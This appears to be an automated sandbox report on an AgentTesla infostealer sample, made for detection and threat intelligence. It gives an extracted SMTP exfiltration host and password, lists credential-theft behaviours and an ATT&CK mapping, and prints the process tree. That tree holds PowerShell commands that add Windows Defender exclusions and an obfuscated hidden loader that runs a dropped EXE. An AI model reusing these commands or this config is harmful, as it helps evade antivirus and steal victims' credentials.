Analysis
- max time kernel
148s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 07:33
General
- Target 75126563c59c3503c9bb69855a8a4f4a.exe
- Size 952KB
- Sample260820-jdv6lavwcs
- SHA256 6e482ca3bf3fcc53e4e91c43c50b1720a48090f3149fe7ff760c447a37c1ef04
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
narang.cfd
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Port
587
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Username
-
Password
Kezsman@22
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Email to
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 18 IoCs
- Suspicious use of AdjustPrivilegeToken 49 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\75126563c59c3503c9bb69855a8a4f4a.exe"C:\Users\Admin\AppData\Local\Temp\75126563c59c3503c9bb69855a8a4f4a.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\75126563c59c3503c9bb69855a8a4f4a.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Local\Temp\75126563c59c3503c9bb69855a8a4f4a.exe"C:\Users\Admin\AppData\Local\Temp\75126563c59c3503c9bb69855a8a4f4a.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$lsu4cw=$env:COMPUTERNAME;$ki4xdv=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$wixbjg=[System.Environment]::TickCount;$24p1uk=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXG5HSGdTUC5leGU=')));$wixbjg=[System.Environment]::TickCount;& $ki4xdv -FilePath $24p1uk"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\nGHgSP.exe"C:\Users\Admin\AppData\Roaming\nGHgSP.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\nGHgSP.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Roaming\nGHgSP.exe"C:\Users\Admin\AppData\Roaming\nGHgSP.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
-
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
3Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_on4bsahw.nsw.ps1
nGHgSP.exe
memory/1248-59-0x00000000078D0000-0x0000000007973000-memory.dmp
memory/1248-56-0x0000000071200000-0x000000007124C000-memory.dmp
memory/1248-55-0x0000000006BA0000-0x0000000006BEC000-memory.dmp
memory/1248-53-0x0000000006150000-0x00000000064AB000-memory.dmp
memory/1536-39-0x0000000007940000-0x0000000007FBC000-memory.dmp
memory/1536-33-0x0000000006F90000-0x0000000006FC6000-memory.dmp
memory/1536-46-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/1536-43-0x0000000007570000-0x0000000007606000-memory.dmp
memory/1536-11-0x0000000002760000-0x0000000002796000-memory.dmp
memory/1536-13-0x00000000055F0000-0x0000000005C3A000-memory.dmp
memory/1536-15-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/1536-42-0x0000000007370000-0x000000000737A000-memory.dmp
memory/1536-41-0x0000000007300000-0x000000000731A000-memory.dmp
memory/1536-12-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/1536-17-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/1536-38-0x0000000006FF0000-0x0000000007093000-memory.dmp
memory/1536-34-0x00000000758F0000-0x000000007593C000-memory.dmp
memory/1536-20-0x00000000052D0000-0x00000000052F2000-memory.dmp
memory/1536-21-0x0000000005370000-0x00000000053D6000-memory.dmp
memory/1536-37-0x0000000006FD0000-0x0000000006FF0000-memory.dmp
memory/1536-25-0x0000000005C40000-0x0000000005F9B000-memory.dmp
memory/1536-26-0x00000000055D0000-0x00000000055EE000-memory.dmp
memory/1536-27-0x0000000006500000-0x000000000654C000-memory.dmp
memory/2468-28-0x0000023DCE010000-0x0000023DCE032000-memory.dmp
memory/2552-40-0x0000000004F60000-0x0000000004F72000-memory.dmp
memory/3640-9-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/3640-5-0x00000000051D0000-0x000000000526C000-memory.dmp
memory/3640-24-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/3640-1-0x00000000003B0000-0x00000000004A4000-memory.dmp
memory/3640-2-0x0000000005660000-0x0000000005C1A000-memory.dmp
memory/3640-0-0x0000000075022000-0x0000000075023000-memory.dmp
memory/3640-3-0x0000000004FD0000-0x0000000005062000-memory.dmp
memory/3640-8-0x0000000075022000-0x0000000075023000-memory.dmp
memory/3640-6-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/3640-4-0x0000000004FC0000-0x0000000004FCA000-memory.dmp
memory/3640-10-0x00000000077C0000-0x0000000007898000-memory.dmp
memory/3640-7-0x00000000051B0000-0x00000000051C2000-memory.dmp
memory/6048-47-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/6048-48-0x0000000006D00000-0x0000000006D50000-memory.dmp
memory/6048-14-0x0000000000400000-0x0000000000444000-memory.dmp
memory/6048-16-0x00000000057A0000-0x0000000005806000-memory.dmp
memory/6048-18-0x0000000075010000-0x00000000757CC000-memory.dmp
memory/6048-19-0x0000000075010000-0x00000000757CC000-memory.dmp